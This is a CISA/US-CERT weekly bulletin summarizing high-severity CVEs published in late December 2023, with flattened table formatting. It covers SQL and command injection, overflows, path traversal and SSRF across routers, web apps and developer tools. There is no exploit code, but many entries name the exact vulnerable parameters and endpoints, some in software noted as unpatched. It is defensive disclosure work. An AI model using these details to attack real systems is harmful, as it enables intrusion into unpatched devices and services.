US-CERT Vulnerability Summary for the Week of December 25, 2023

Bulletins provide weekly summaries of new vulnerabilities. Patch information is provided when available.

The CISA Vulnerability Bulletin provides a summary of new vulnerabilities that have been recorded by the National Institute of Standards and Technology (NIST) National Vulnerability Database (NVD) in the past week. NVD is sponsored by CISA. In some cases, the vulnerabilities in the bulletin may not yet have assigned CVSS scores. Please visit NVD for updated vulnerability entries, which include CVSS scores once they are available.

Vulnerabilities are based on the Common Vulnerabilities and Exposures (CVE) vulnerability naming standard and are organized according to severity, determined by the Common Vulnerability Scoring System (CVSS) standard. The division of high, medium, and low severities correspond to the following scores:

  • High: vulnerabilities with a CVSS base score of 7.0–10.0
  • Medium: vulnerabilities with a CVSS base score of 4.0–6.9
  • Low: vulnerabilities with a CVSS base score of 0.0–3.9

Entries may include additional information provided by organizations and efforts sponsored by CISA. This information may include identifying information, values, definitions, and related links. Patch information is provided when available. Please note that some of the information in the bulletin is compiled from external, open-source reports and is not a direct result of CISA analysis. 

High Vulnerabilities

Primary
Vendor — Product
DescriptionPublishedCVSS ScoreSource & Patch Info
awslabs — sandbox-accounts-for-events“Sandbox Accounts for Events” provides multiple, temporary AWS accounts to a number of authenticated users simultaneously via a browser-based GUI. Authenticated users could potentially claim and access empty AWS accounts by sending request payloads to the account API containing non-existent event ids and self-defined budget & duration. This issue only affects cleaned AWS accounts, it is not possible to access AWS accounts in use or existing data/infrastructure. This issue has been patched in version 1.1.0.2023-12-227.1CVE-2023-50928
[email protected]
[email protected]
awslabs — sandbox-accounts-for-eventsSandbox Accounts for Events provides multiple, temporary AWS accounts to a number of authenticated users simultaneously via a browser-based GUI. Authenticated users could potentially read data from the events table by sending request payloads to the events API, collecting information on planned events, timeframes, budgets and owner email addresses. This data access may allow users to get insights into upcoming events and join events which they have not been invited to. This issue has been patched in version 1.10.0.2023-12-227.8CVE-2023-51386
[email protected]
[email protected]
c-blosc2 — c-blosc2C-blosc2 before 2.9.3 was discovered to contain a NULL pointer dereference via the function zfp_prec_decompress at zfp/blosc2-zfp.c.2023-12-257.5CVE-2023-37185
[email protected]
[email protected]
[email protected]
c-blosc2 — c-blosc2C-blosc2 before 2.9.3 was discovered to contain a NULL pointer dereference in ndlz/ndlz8x8.c via a NULL pointer to memset.2023-12-257.5CVE-2023-37186
[email protected]
[email protected]
[email protected]
c-blosc2 — c-blosc2C-blosc2 before 2.9.3 was discovered to contain a NULL pointer dereference via the zfp/blosc2-zfp.c zfp_acc_decompress. function.2023-12-257.5CVE-2023-37187
[email protected]
[email protected]
[email protected]
c-blosc2 — c-blosc2C-blosc2 before 2.9.3 was discovered to contain a NULL pointer dereference via the function zfp_rate_decompress at zfp/blosc2-zfp.c.2023-12-257.5CVE-2023-37188
[email protected]
[email protected]
[email protected]
cacti — cactiCacti provides an operational monitoring and fault management framework. In versions 1.2.25 and prior, it is possible to execute arbitrary SQL code through the `pollers.php` script. An authorized user may be able to execute arbitrary SQL code. The vulnerable component is the `pollers.php`. Impact of the vulnerability – arbitrary SQL code execution. As of time of publication, a patch does not appear to exist.2023-12-228.8CVE-2023-49085
[email protected]
[email protected]
cacti — cactiCacti provides an operational monitoring and fault management framework. Version 1.2.25 has a Blind SQL Injection (SQLi) vulnerability within the SNMP Notification Receivers feature in the file `’managers.php’`. An authenticated attacker with the “Settings/Utilities” permission can send a crafted HTTP GET request to the endpoint `’/cacti/managers.php’` with an SQLi payload in the `’selected_graphs_array’` HTTP GET parameter. As of time of publication, no patched versions exist.2023-12-228.8CVE-2023-51448
[email protected]
[email protected]
campcodes — online_college_library_systemA vulnerability has been found in Campcodes Online College Library System 1.0 and classified as critical. This vulnerability affects unknown code of the file index.php of the component Search. The manipulation of the argument category leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-249178 is the identifier assigned to this vulnerability.2023-12-297.3CVE-2023-7156
[email protected]
[email protected]
[email protected]
clickhouse — clickhouseClickHouse is an open-source column-oriented database management system that allows generating analytical data reports in real-time. A heap buffer overflow issue was discovered in ClickHouse server. An attacker could send a specially crafted payload to the native interface exposed by default on port 9000/tcp, triggering a bug in the decompression logic of Gorilla codec that crashes the ClickHouse server process. This attack does not require authentication. This issue has been addressed in ClickHouse Cloud version 23.9.2.47551 and ClickHouse versions 23.10.5.20, 23.3.18.15, 23.8.8.20, and 23.9.6.20.2023-12-227CVE-2023-48704
[email protected]
[email protected]
cloudflare — miniflareSending specially crafted HTTP requests to Miniflare’s server could result in arbitrary HTTP and WebSocket requests being sent from the server. If Miniflare was configured to listen on external network interfaces (as was the default in wrangler until 3.19.0), an attacker on the local network could access other local servers.2023-12-297.5CVE-2023-7078
[email protected]
[email protected]
cloudflare — wranglerThe V8 inspector intentionally allows arbitrary code execution within the Workers sandbox for debugging. wrangler dev would previously start an inspector server listening on all network interfaces. This would allow an attacker on the local network to connect to the inspector and run arbitrary code. Additionally, the inspector server did not validate Origin/Host headers, granting an attacker that can trick any user on the local network into opening a malicious website the ability to run code. If wrangler dev –remote was being used, an attacker could access production resources if they were bound to the worker. This issue was fixed in [email protected] and [email protected]. Whilst wrangler dev’s inspector server listens on local interfaces by default as of [email protected], an SSRF vulnerability in miniflare https://github.com/cloudflare/workers-sdk/security/advisories/GHSA-fwvg-2739-22v7  (CVE-2023-7078) allowed access from the local network until [email protected]. [email protected] and [email protected] introduced validation for the Origin/Host headers.2023-12-298.5CVE-2023-7080
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
code-projects — faculty_management_systemA vulnerability was found in code-projects Faculty Management System 1.0. It has been rated as critical. Affected by this issue is some unknown functionality of the file /admin/php/crud.php. The manipulation of the argument fieldname leads to sql injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-248948.2023-12-259.8CVE-2023-7096
[email protected]
[email protected]
[email protected]
code-projects — library_management_systemA vulnerability, which was classified as critical, was found in code-projects Library Management System 2.0. Affected is an unknown function of the file index.php. The manipulation of the argument category leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. VDB-249006 is the identifier assigned to this vulnerability.2023-12-269.8CVE-2023-7111
[email protected]
[email protected]
[email protected]
code-projects — water_billing_systemA vulnerability classified as critical has been found in code-projects Water Billing System 1.0. This affects an unknown part of the file /addbill.php. The manipulation of the argument owners_id leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-248949 was assigned to this vulnerability.2023-12-259.8CVE-2023-7097
[email protected]
[email protected]
[email protected]
coolkit_technology — ewelink_-_smart_homeImproper privilege management vulnerability in CoolKit Technology eWeLink on Android and iOS allows application lockscreen bypass. This issue affects eWeLink before 5.2.0.2023-12-307.7CVE-2023-6998
[email protected]
[email protected]
[email protected]
d-link — d-view_8A security issue exists in D-Link D-View 8 v2.0.2.89 and prior that could allow an attacker to manipulate the probe inventory of the D-View service. This could result in the disclosure of information from other probes, denial of service conditions due to the probe inventory becoming full, or the execution of tasks on other probes.2023-12-2810CVE-2023-7163
[email protected]
deepin_linux — deepin_linuxDeepin Linux’s default document reader `deepin-reader` software suffers from a serious vulnerability in versions prior to 6.0.7 due to a design flaw that leads to remote command execution via crafted docx document. This is a file overwrite vulnerability. Remote code execution (RCE) can be achieved by overwriting files like .bash_rc, .bash_login, etc. RCE will be triggered when the user opens the terminal. Version 6.0.7 contains a patch for the issue.2023-12-229.3CVE-2023-50254
[email protected]
[email protected]
[email protected]
deepin_linux — deepin_linuxDeepin-Compressor is the default archive manager of Deepin Linux OS. Prior to 5.12.21, there’s a path traversal vulnerability in deepin-compressor that can be exploited to achieve Remote Command Execution on the target system upon opening crafted archives. Users are advised to update to version 5.12.21 which addresses the issue. There are no known workarounds for this vulnerability.2023-12-279.3CVE-2023-50255
[email protected]
[email protected]
dell — client_biosDell Client BIOS contains a pre-boot direct memory access (DMA) vulnerability. An authenticated attacker with physical access to the system may potentially exploit this vulnerability in order to execute arbitrary code on the device.2023-12-227.2CVE-2023-43088
[email protected]
dell — supportassist_client_consumerDell SupportAssist for Home PCs version 3.14.1 and prior versions contain a privilege escalation vulnerability in the installer. A local low privileged authenticated attacker may potentially exploit this vulnerability, leading to the execution of arbitrary executable on the operating system with elevated privileges.2023-12-227.3CVE-2023-48670
[email protected]
dromara_hertzbeat — dromara_hertzbeatHertzbeat is an open source, real-time monitoring system with custom-monitoring, high performance cluster, prometheus-like and agentless. Hertzbeat versions 1.20 and prior have a permission bypass vulnerability. System authentication can be bypassed and invoke interfaces without authorization. Version 1.2.1 contains a patch for this issue.2023-12-227.5CVE-2022-39337
[email protected]
[email protected]
[email protected]
[email protected]
dromara_hertzbeat — dromara_hertzbeatHertzbeat is an open source, real-time monitoring system. Hertzbeat uses aviatorscript to evaluate alert expressions. The alert expressions are supposed to be some simple expressions. However, due to improper sanitization for alert expressions in version prior to 1.4.1, a malicious user can use a crafted alert expression to execute any command on hertzbeat server. A malicious user who has access to alert define function can execute any command in hertzbeat instance. This issue is fixed in version 1.4.1.2023-12-227.2CVE-2023-51387
[email protected]
[email protected]
[email protected]
dromara_hertzbeat — dromara_hertzbeatHertzbeat is an open source, real-time monitoring system. Prior to version 1.4.1, Spring Boot permission configuration issues caused unauthorized access vulnerabilities to three interfaces. This could result in disclosure of sensitive server information. Version 1.4.1 fixes this issue.2023-12-227.5CVE-2023-51650
[email protected]
[email protected]
engelsystem — engelsystemEnglesystem is a shift planning system for chaos events. Engelsystem prior to v3.4.1 performed insufficient validation of user supplied data for the DECT number, mobile number, and work-log comment fields. The values of those fields would be displayed in corresponding log overviews, allowing the injection and execution of Javascript code in another user’s context. This vulnerability enables an authenticated user to inject Javascript into other user’s sessions. The injected JS will be executed during normal usage of the system when viewing, e.g., overview pages. This issue has been fixed in version 3.4.1.2023-12-227.3CVE-2023-50924
[email protected]
[email protected]
gm_information_technologies — mdoImproper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’) vulnerability in GM Information Technologies MDO allows SQL Injection. This issue affects MDO: through 20231229.  NOTE: The vendor was contacted early about this disclosure but did not respond in any way.2023-12-299.8CVE-2023-4675
[email protected]
grackle — grackleGrackle is a GraphQL server written in functional Scala, built on the Typelevel stack. The GraphQL specification requires that GraphQL fragments must not form cycles, either directly or indirectly. Prior to Grackle version 0.18.0, that requirement wasn’t checked, and queries with cyclic fragments would have been accepted for type checking and compilation. The attempted compilation of such fragments would result in a JVM `StackOverflowError` being thrown. Some knowledge of an applications GraphQL schema would be required to construct such a query, however no knowledge of any application-specific performance or other behavioural characteristics would be needed. Grackle uses the cats-parse library for parsing GraphQL queries. Prior to version 0.18.0, Grackle made use of the cats-parse `recursive` operator. However, `recursive` is not currently stack safe. `recursive` was used in three places in the parser: nested selection sets, nested input values (lists and objects), and nested list type declarations. Consequently, queries with deeply nested selection sets, input values or list types could be constructed which exploited this, causing a JVM `StackOverflowException` to be thrown during parsing. Because this happens very early in query processing, no specific knowledge of an applications GraphQL schema would be required to construct such a query. The possibility of small queries resulting in stack overflow is a potential denial of service vulnerability. This potentially affects all applications using Grackle which have untrusted users. Both stack overflow issues have been resolved in the v0.18.0 release of Grackle. As a workaround, users could interpose a sanitizing layer in between untrusted input and Grackle query processing.2023-12-227.5CVE-2023-50730
[email protected]
[email protected]
[email protected]
honor — com.hihonor.phoneserviceSome Honor products are affected by incorrect privilege assignment vulnerability, successful exploitation could cause device service exceptions.2023-12-297CVE-2023-51431
3836d913-7555-4dd0-a509-f5667fdf5fe4
honor — magic_os    Some Honor products are affected by signature management vulnerability, successful exploitation could cause the forged system file overwrite the correct system file2023-12-297.3CVE-2023-23436
3836d913-7555-4dd0-a509-f5667fdf5fe4
honor — magic_uiSome Honor products are affected by buffer overflow vulnerability, successful exploitation could cause code execution.2023-12-299.3CVE-2023-51434
3836d913-7555-4dd0-a509-f5667fdf5fe4
honor — magic_uiSome Honor products are affected by incorrect privilege assignment vulnerability, successful exploitation could cause information leak.2023-12-297.1CVE-2023-51435
3836d913-7555-4dd0-a509-f5667fdf5fe4
honor — nth-an00Some Honor products are affected by signature management vulnerability, successful exploitation could cause the forged system file overwrite the correct system file.2023-12-297.3CVE-2023-23431
3836d913-7555-4dd0-a509-f5667fdf5fe4
honor — nth-an00Some Honor products are affected by signature management vulnerability, successful exploitation could cause the forged system file overwrite the correct system file.2023-12-297.3CVE-2023-23432
3836d913-7555-4dd0-a509-f5667fdf5fe4
ibm — aspera_consoleIBM Aspera Console 3.4.0 is vulnerable to cross-site scripting. This vulnerability allows users to embed arbitrary JavaScript code in the Web UI thus altering the intended functionality potentially leading to credentials disclosure within a trusted session. IBM X-Force ID: 210322.2023-12-257.2CVE-2021-38927
[email protected]
[email protected]
ibm — financial_transaction_manager_for_swift_servicesIn the Message Entry and Repair (MER) facility of IBM Financial Transaction Manager for SWIFT Services 3.2.4 the sending address and the message type of FIN messages are assumed to be immutable. However, an attacker might modify these elements of a business transaction. IBM X-Force ID: 273183.2023-12-257.5CVE-2023-49880
[email protected]
[email protected]
ibm — iFacsimile Support for IBM i 7.2, 7.3, 7.4, and 7.5 could allow a local user to gain elevated privileges due to an unqualified library call. A malicious actor could cause arbitrary code to run with the privilege of the user invoking the facsimile support. IBM X-Force ID: 267689.2023-12-257CVE-2023-43064
[email protected]
[email protected]
ibm — planning_analyticsIBM Planning Analytics Local 2.0 could allow a remote attacker to upload arbitrary files, caused by the improper validation of file extensions. By sending a specially crafted HTTP request, a remote attacker could exploit this vulnerability to upload a malicious script, which could allow the attacker to execute arbitrary code on the vulnerable system. IBM X-Force ID: 265567.2023-12-229.8CVE-2023-42017
[email protected]
[email protected]
iteachyou — dreamer_cmsA vulnerability was found in Dreamer CMS 4.1.3. It has been declared as problematic. This vulnerability affects unknown code of the file /upload/uploadFile. The manipulation of the argument file leads to unrestricted upload. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-248938 is the identifier assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.2023-12-248.8CVE-2023-7091
[email protected]
[email protected]
[email protected]
kashipara — job_portalJob Portal v1.0 is vulnerable to multiple Unauthenticated SQL Injection vulnerabilities. The ‘txtUser’ parameter of the login.php resource does not validate the characters received and they are sent unfiltered to the database.2023-12-229.8CVE-2023-49688
[email protected]
[email protected]
kashipara — job_portalJob Portal v1.0 is vulnerable to multiple Unauthenticated SQL Injection vulnerabilities. The ‘JobId’ parameter of the Employer/DeleteJob.php resource does not validate the characters received and they are sent unfiltered to the database.2023-12-229.8CVE-2023-49689
[email protected]
[email protected]
libaom — libaomIncreasing the resolution of video frames, while performing a multi-threaded encode, can result in a heap overflow in av1_loop_restoration_dealloc().2023-12-279CVE-2023-6879
[email protected]
[email protected]
lychee — lycheeLychee is a free photo-management tool. Prior to 5.0.2, Lychee is vulnerable to an SQL injection on any binding when using mysql/mariadb. This injection is only active for users with the `.env` settings set to DB_LOG_SQL=true and DB_LOG_SQL_EXPLAIN=true. The defaults settings of Lychee are safe. The patch is provided on version 5.0.2. To work around this issue, disable SQL EXPLAIN logging.2023-12-288.8CVE-2023-52082
[email protected]
[email protected]
mattermost — mattermostMattermost version 2.10.0 and earlier fails to sanitize deeplink paths, which allows an attacker to perform CSRF attacks against the server.2023-12-297.1CVE-2023-7114
[email protected]
micropython — micropythonA vulnerability was found in MicroPython up to 1.21.0. It has been classified as critical. Affected is the function slice_indices of the file objslice.c. The manipulation leads to heap-based buffer overflow. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 1.22.0 is able to address this issue. It is recommended to upgrade the affected component. The identifier of this vulnerability is VDB-249180.2023-12-297.3CVE-2023-7158
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
microsoft — visual_studioVisual Studio Code Python Extension Remote Code Execution Vulnerability2023-12-297.8CVE-2020-17163
[email protected]
mindsdb — mindsdb
 
MindsDB is a SQL Server for artificial intelligence. Prior to version 23.11.4.1, the `put` method in `mindsdb/mindsdb/api/http/namespaces/file.py` does not validate the user-controlled name value, which is used in a temporary file name, which is afterwards opened for writing on lines 122-125, which leads to path injection. Later in the method, the temporary directory is deleted on line 151, but since we can write outside of the directory using the path injection vulnerability, the potentially dangerous file is not deleted. Arbitrary file contents can be written due to `f.write(chunk)` on line 125. Mindsdb does check later on line 149 in the `save_file` method in `file-controller.py` which calls the `_handle_source` method in `file_handler.py` if a file is of one of the types `csv`, `json`, `parquet`, `xls`, or `xlsx`. However, since the check happens after the file has already been written, the files will still exist (and will not be removed due to the path injection described earlier), just the `_handle_source` method will return an error. The same user-controlled source source is used also in another path injection sink on line 138. This leads to another path injection, which allows an attacker to delete any `zip` or `tar.gz` files on the server.2023-12-229.1CVE-2023-50731
[email protected]
[email protected]
[email protected]
[email protected]
misskey — misskeyMisskey is an open source, decentralized social media platform. Third-party applications may be able to access some endpoints or Websocket APIs that are incorrectly specified as [kind](https://github.com/misskey-dev/misskey/blob/406b4bdbe79b5b0b68fcdcb3c4b6e419460a0258/packages/backend/src/server/api/endpoints.ts#L811) or [secure](https://github.com/misskey-dev/misskey/blob/406b4bdbe79b5b0b68fcdcb3c4b6e419460a0258/packages/backend/src/server/api/endpoints.ts#L805) without the user’s permission and perform operations such as reading or adding non-public content. As a result, if the user who authenticated the application is an administrator, confidential information such as object storage secret keys and SMTP server passwords will be leaked, and general users can also create invitation codes without permission and leak non-public user information. This is patched in version [2023.12.1](https://github.com/misskey-dev/misskey/commit/c96bc36fedc804dc840ea791a9355d7df0748e64).2023-12-299CVE-2023-52139
[email protected]
[email protected]
misskey — misskeyNexkey is a lightweight fork of Misskey v12 optimized for small to medium size servers. Prior to 12.23Q4.5, Nexkey allows external apps using tokens issued by administrators and moderators to call admin APIs. This allows malicious third-party apps to perform operations such as updating server settings, as well as compromise object storage and email server credentials. This issue has been patched in 12.23Q4.5.2023-12-278.9CVE-2023-52077
[email protected]
[email protected]
[email protected]
[email protected]
moxa — iologik_e1210_firmwareA Cross-Site Request Forgery (CSRF) vulnerability has been identified in ioLogik E1200 Series firmware versions v3.3 and prior. An attacker can exploit this vulnerability to trick a client into making an unintentional request to the web server, which will be treated as an authentic request. This vulnerability may lead an attacker to perform operations on behalf of the victimized user.2023-12-238.8CVE-2023-5961
[email protected]
mp3gain — mp3gainA stack buffer overflow vulnerability in MP3Gain v1.6.2 allows an attacker to cause a denial of service via the WriteMP3GainAPETag function at apetag.c:592.2023-12-227.5CVE-2023-49356
[email protected]
netentsec — ns-asg_application_security_gatewayA vulnerability classified as critical has been found in Netentsec NS-ASG Application Security Gateway 6.3.1. This affects an unknown part of the file index.php?para=index of the component Login. The manipulation of the argument check_VirtualSiteId leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-249183.2023-12-297.3CVE-2023-7161
[email protected]
[email protected]
[email protected]
open_design_alliance — oda_drawings_sdkAn issue was discovered in Open Design Alliance Drawings SDK before 2024.12. A corrupted value of number of sectors used by the Fat structure in a crafted DGN file leads to an out-of-bounds write. An attacker can leverage this vulnerability to execute code in the context of the current process.2023-12-267.8CVE-2023-5180
8a9629cb-c5e7-4d2a-a894-111e8039b7ea
pandora_fms — pandora_fmsImproper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’) vulnerability in Pandora FMS on all allows Cross-Site Scripting (XSS). Malicious code could be executed in the File Manager section. This issue affects Pandora FMS: from 700 through 774.2023-12-297.5CVE-2023-41815
[email protected]
pexip — pexip_infinityPexip Infinity before 31.2 has Improper Input Validation for signalling, allowing remote attackers to trigger an abort.2023-12-257.5CVE-2023-31289
[email protected]
pexip — pexip_infinityPexip Infinity before 31.2 has Improper Input Validation for RTCP, allowing remote attackers to trigger an abort.2023-12-257.5CVE-2023-31455
[email protected]
phpgurukul — hospital_management_systemA vulnerability, which was classified as critical, has been found in PHPGurukul Hospital Management System 1.0. Affected by this issue is some unknown functionality of the component Admin Dashboard. The manipulation leads to sql injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-249356.2023-12-307.3CVE-2023-7172
[email protected]
[email protected]
[email protected]
[email protected]
phpgurukul — nipah_virus_testing_management_systemA vulnerability, which was classified as critical, has been found in PHPGurukul Nipah Virus Testing Management System 1.0. This issue affects some unknown processing of the file bwdates-report-result.php. The manipulation of the argument fromdate leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-248951.2023-12-259.8CVE-2023-7099
[email protected]
[email protected]
[email protected]
[email protected]
phpgurukul — online_notes_sharing_systemA vulnerability was found in PHPGurukul Online Notes Sharing System 1.0. It has been declared as problematic. This vulnerability affects unknown code of the file /user/signup.php. The manipulation leads to weak password requirements. The attack can be initiated remotely. The complexity of an attack is rather high. The exploitation appears to be difficult. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-248740.2023-12-228.8CVE-2023-7053
[email protected]
[email protected]
[email protected]
phpgurukul — restaurant_table_booking_systemA vulnerability, which was classified as critical, was found in PHPGurukul Restaurant Table Booking System 1.0. Affected is an unknown function of the file /admin/bwdates-report-details.php. The manipulation of the argument fdate leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-248952.2023-12-259.8CVE-2023-7100
[email protected]
[email protected]
[email protected]
poly — multiple_productsA vulnerability, which was classified as critical, has been found in Poly CCX 400, CCX 600, Trio 8800 and Trio C60. This issue affects some unknown processing of the component Diagnostic Telnet Mode. The manipulation leads to os command injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. It is recommended to upgrade the affected component. The identifier VDB-249257 was assigned to this vulnerability.2023-12-297.2CVE-2023-4464
[email protected]
[email protected]
[email protected]
[email protected]
red_hat — jboss_enterprise_application_platform
 
A flaw was found in EAP-7 during deserialization of certain classes, which permits instantiation of HashMap and HashTable with no checks on resources consumed. This issue could allow an attacker to submit malicious requests using these classes, which could eventually exhaust the heap and result in a Denial of Service.2023-12-277.5CVE-2023-3171
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
revanced — revancedReVanced API proxies requests needed to feed the ReVanced Manager and website with data. Up to and including commit 71f81f7f20cd26fd707335bca9838fa3e7df20d2, ReVanced API lacks error caching causing rate limit to be triggered thus increasing server load. This causes a denial of service for all users using the API. It is recommended to implement proper error caching.2023-12-277.5CVE-2023-52075
[email protected]
signalwire — freeswitchFreeSWITCH is a Software Defined Telecom Stack enabling the digital transformation from proprietary telecom switches to a software implementation that runs on any commodity hardware. Prior to version 1.10.11, when handling DTLS-SRTP for media setup, FreeSWITCH is susceptible to Denial of Service due to a race condition in the hello handshake phase of the DTLS protocol. This attack can be done continuously, thus denying new DTLS-SRTP encrypted calls during the attack. If an attacker manages to send a ClientHello DTLS message with an invalid CipherSuite (such as `TLS_NULL_WITH_NULL_NULL`) to the port on the FreeSWITCH server that is expecting packets from the caller, a DTLS error is generated. This results in the media session being torn down, which is followed by teardown at signaling (SIP) level too. Abuse of this vulnerability may lead to a massive Denial of Service on vulnerable FreeSWITCH servers for calls that rely on DTLS-SRTP. To address this vulnerability, upgrade FreeSWITCH to 1.10.11 which includes the security fix. The solution implemented is to drop all packets from addresses that have not been validated by an ICE check.2023-12-277.5CVE-2023-51443
[email protected]
[email protected]
sourcecodester — simple_student_attendance_systemA vulnerability was found in SourceCodester Simple Student Attendance System 1.0. It has been declared as critical. Affected by this vulnerability is an unknown functionality. The manipulation of the argument page leads to path traversal: ‘../filedir’. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-248749 was assigned to this vulnerability.2023-12-229.8CVE-2023-7058
[email protected]
[email protected]
[email protected]
talent_software — ecopImproper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’) vulnerability in Talent Software ECOP allows Command Line Execution through SQL Injection. This issue affects ECOP: before 32255.2023-12-287.5CVE-2023-4671
[email protected]
tenda — m3_firmwareTenda M3 V1.0.0.12(4856) was discovered to contain a stack overflow via the function formGetWeiXinConfig.2023-12-269.8CVE-2023-51090
[email protected]
tenda — m3_firmwareTenda M3 V1.0.0.12(4856) was discovered to contain a stack overflow via the function R7WebsSecurityHandler.2023-12-269.8CVE-2023-51091
[email protected]
tenda — m3_firmwareTenda M3 V1.0.0.12(4856) was discovered to contain a stack overflow via the function upgrade.2023-12-269.8CVE-2023-51092
[email protected]
tenda — m3_firmwareTenda M3 V1.0.0.12(4856) was discovered to contain a stack overflow via the function fromSetLocalVlanInfo.2023-12-269.8CVE-2023-51093
[email protected]
tenda — m3_firmwareTenda M3 V1.0.0.12(4856) was discovered to contain a Command Execution vulnerability via the function TendaTelnet.2023-12-269.8CVE-2023-51094
[email protected]
tenda — m3_firmwareTenda M3 V1.0.0.12(4856) was discovered to contain a stack overflow via the function formDelWlRfPolicy.2023-12-269.8CVE-2023-51095
[email protected]
tenda — w9_firmwareTenda W9 V1.0.0.7(4456)_CN was discovered to contain a stack overflow via the function formSetAutoPing.2023-12-269.8CVE-2023-51097
[email protected]
tenda — w9_firmwareTenda W9 V1.0.0.7(4456)_CN was discovered to contain a command injection vulnerability via the function formSetDiagnoseInfo .2023-12-269.8CVE-2023-51098
[email protected]
tenda — w9_firmwareTenda W9 V1.0.0.7(4456)_CN was discovered to contain a command injection vulnerability via the function formexeCommand .2023-12-269.8CVE-2023-51099
[email protected]
tenda — w9_firmwareTenda W9 V1.0.0.7(4456)_CN was discovered to contain a command injection vulnerability via the function formGetDiagnoseInfo .2023-12-269.8CVE-2023-51100
[email protected]
tenda — w9_firmwareTenda W9 V1.0.0.7(4456)_CN was discovered to contain a stack overflow via the function formSetUplinkInfo.2023-12-269.8CVE-2023-51101
[email protected]
tenda — w9_firmwareTenda W9 V1.0.0.7(4456)_CN was discovered to contain a stack overflow via the function formWifiMacFilterSet.2023-12-269.8CVE-2023-51102
[email protected]
tj-actions — tj-actionstj-actions/changed-files is a Github action to retrieve all files and directories. Prior to 41.0.0, the `tj-actions/changed-files` workflow allows for command injection in changed filenames, allowing an attacker to execute arbitrary code and potentially leak secrets. This issue may lead to arbitrary command execution in the GitHub Runner. This vulnerability has been addressed in version 41.0.0. Users are advised to upgrade.2023-12-277.3CVE-2023-51664
[email protected]
[email protected]
[email protected]
[email protected]
tj-actions — tj-actionsThe [`tj-actions/verify-changed-files`](https://github.com/tj-actions/verify-changed-files) action allows for command injection in changed filenames, allowing an attacker to execute arbitrary code and potentially leak secrets. The [`verify-changed-files`](https://github.com/tj-actions/verify-changed-files) workflow returns the list of files changed within a workflow execution. This could potentially allow filenames that contain special characters such as `;` which can be used by an attacker to take over the [GitHub Runner](https://docs.github.com/en/actions/using-github-hosted-runners/about-github-hosted-runners) if the output value is used in a raw fashion (thus being directly replaced before execution) inside a `run` block. By running custom commands, an attacker may be able to steal secrets such as `GITHUB_TOKEN` if triggered on other events than `pull_request`. This has been patched in versions [17](https://github.com/tj-actions/verify-changed-files/releases/tag/v17) and [17.0.0](https://github.com/tj-actions/verify-changed-files/releases/tag/v17.0.0) by enabling `safe_output` by default and returning filename paths escaping special characters for bash environments.2023-12-297.7CVE-2023-52137
[email protected]
[email protected]
[email protected]
totolink — a3700r_firmwareThere is an arbitrary command execution vulnerability in the setDiagnosisCfg function of the cstecgi .cgi of the TOTOlink A3700R router device in its firmware version V9.1.2u.5822_B20200513.2023-12-229.8CVE-2023-50147
[email protected]
totolink — a7100ruA vulnerability, which was classified as critical, has been found in Totolink A7100RU 7.4cu.2313_B20191024. Affected by this issue is the function main of the file /cgi-bin/cstecgi.cgi?action=login of the component HTTP POST Request Handler. The manipulation of the argument flag leads to buffer overflow. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. VDB-248942 is the identifier assigned to this vulnerability.2023-12-259.8CVE-2023-7095
[email protected]
[email protected]
[email protected]
totolink — ex1200l_firmwareTOTOlink EX1200L V9.3.5u.6146_B20201023 is vulnerable to arbitrary command execution via the cstecgi.cgi setOpModeCfg interface.2023-12-229.8CVE-2023-51033
[email protected]
totolink — ex1800t_firmwareTOTOlink EX1800T v9.1.0cu.2112_B20220316 is vulnerable to unauthorized arbitrary command execution in the lanPriDns parameter’ of the setLanConfig interface of the cstecgi .cgi2023-12-229.8CVE-2023-51011
[email protected]
totolink — ex1800t_firmwareTOTOlink EX1800T v9.1.0cu.2112_B20220316 is vulnerable to unauthorized arbitrary command execution in the lanGateway parameter’ of the setLanConfig interface of the cstecgi .cgi.2023-12-229.8CVE-2023-51012
[email protected]
totolink — ex1800t_firmwareTOTOlink EX1800T v9.1.0cu.2112_B20220316 is vulnerable to unauthorized arbitrary command execution in the lanNetmask parameter’ of the setLanConfig interface of the cstecgi .cgi.2023-12-229.8CVE-2023-51013
[email protected]
totolink — ex1800t_firmwareTOTOLINK EX1800T V9.1.0cu.2112_B20220316 is vulnerable to unauthorized arbitrary command execution in the lanSecDns parameter’ of the setLanConfig interface of the cstecgi .cgi2023-12-229.8CVE-2023-51014
[email protected]
totolink — ex1800t_firmwareTOTOLINX EX1800T v9.1.0cu.2112_B20220316 is vulnerable to arbitrary command execution in the ‘enable parameter’ of the setDmzCfg interface of the cstecgi .cgi2023-12-229.8CVE-2023-51015
[email protected]
totolink — ex1800t_firmwareTOTOlink EX1800T v9.1.0cu.2112_B20220316 is vulnerable to unauthorized arbitrary command execution in the setRebootScheCfg interface of the cstecgi .cgi.2023-12-229.8CVE-2023-51016
[email protected]
totolink — ex1800t_firmwareTOTOlink EX1800T v9.1.0cu.2112_B20220316 is vulnerable to unauthorized arbitrary command execution in the lanIp parameter’ of the setLanConfig interface of the cstecgi .cgi.2023-12-229.8CVE-2023-51017
[email protected]
